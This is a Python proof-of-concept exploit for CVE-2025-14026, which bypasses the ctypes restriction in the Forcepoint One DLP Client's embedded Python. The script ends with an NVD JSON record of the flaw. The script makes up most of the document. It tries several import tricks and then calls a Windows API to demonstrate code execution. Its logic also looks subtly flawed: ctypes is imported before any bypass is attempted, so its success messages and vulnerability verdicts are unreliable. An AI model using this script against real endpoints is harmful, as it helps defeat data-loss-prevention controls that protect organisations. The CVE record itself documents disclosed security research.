CVE-2025-14026

# CVE-2025-14026 PoC - Forcepoint One DLP Client ctypes Bypass # This PoC demonstrates bypassing the Python ctypes restriction in Forcepoint One DLP Client import sys import ctypes def bypass_ctypes_restriction(): """ Attempt to bypass Forcepoint One DLP Client's ctypes restriction """ print("[*] CVE-2025-14026 - Forcepoint One DLP Client ctypes Bypass PoC") print("[*] Target: Forcepoint One DLP Client <= 23.04.5642") # Method 1: Try direct ctypes import (may be blocked) try: lib = ctypes.CDLL('user32.dll') print("[+] Method 1: Direct ctypes access - SUCCESS") return True except Exception as e: print(f"[-] Method 1 failed: {e}") # Method 2: Bypass via __import__ try: ctypes_module = __import__('ctypes') print("[+] Method 2: __import__ bypass - SUCCESS") # Now can use ctypes to call Windows APIs user32 = ctypes_module.CDLL('user32.dll') return True except Exception as e: print(f"[-] Method 2 failed: {e}") # Method 3: Bypass via sys.modules manipulation try: if 'ctypes' in sys.modules: print("[+] Method 3: sys.modules already has ctypes") else: # Try to reload from sys.modules import importlib ctypes_module = importlib.import_module('ctypes') print("[+] Method 3: importlib bypass - SUCCESS") return True except Exception as e: print(f"[-] Method 3 failed: {e}") return False def demonstrate_code_execution(): """ Demonstrate arbitrary code execution after ctypes bypass """ try: # Get MessageBoxA function from user32.dll MessageBox = ctypes.windll.user32.MessageBoxA MessageBox(0, b'CVE-2025-14026 Exploited!', b'ctypes Bypass', 0x01) print("[+] Successfully called Windows API via ctypes!") return True except Exception as e: print(f"[-] API call failed: {e}") return False if __name__ == "__main__": if bypass_ctypes_restriction(): print("\n[!] ctypes restriction bypassed - system vulnerable!") demonstrate_code_execution() else: print("\n[*] No bypass method succeeded or already patched")

{"cve": {"id": "CVE-2025-14026", "sourceIdentifier": "[email protected]", "published": "2026-01-06T15:15:42.057", "lastModified": "2026-02-10T19:31:05.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Forcepoint One DLP Client, version 23.04.5642 (and possibly newer versions), includes a restricted version of Python 2.5.4 that prevents use of the ctypes library. ctypes is a foreign function interface (FFI) for Python, enabling calls to DLLs/shared libraries, memory allocation, and direct code execution. It was demonstrated that these restrictions could be bypassed."}, {"lang": "es", "value": "Cliente Forcepoint One DLP, versión 23.04.5642 (y posiblemente versiones más recientes), incluye una versión restringida de Python 2.5.4 que impide el uso de la biblioteca ctypes. ctypes es una interfaz de función externa (FFI) para Python, lo que permite llamadas a DLLs/bibliotecas compartidas, asignación de memoria y ejecución directa de código. Se demostró que estas restricciones podrían ser eludidas."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:forcepoint:one_data_loss_prevention:23.04.5642:*:*:*:*:*:*:*", "matchCriteriaId": "0F50374A-170E-4EBF-9966-3604003FB87F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/420440", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://support.forcepoint.com/s/article/000042256", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.kb.cert.org/vuls/id/420440", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}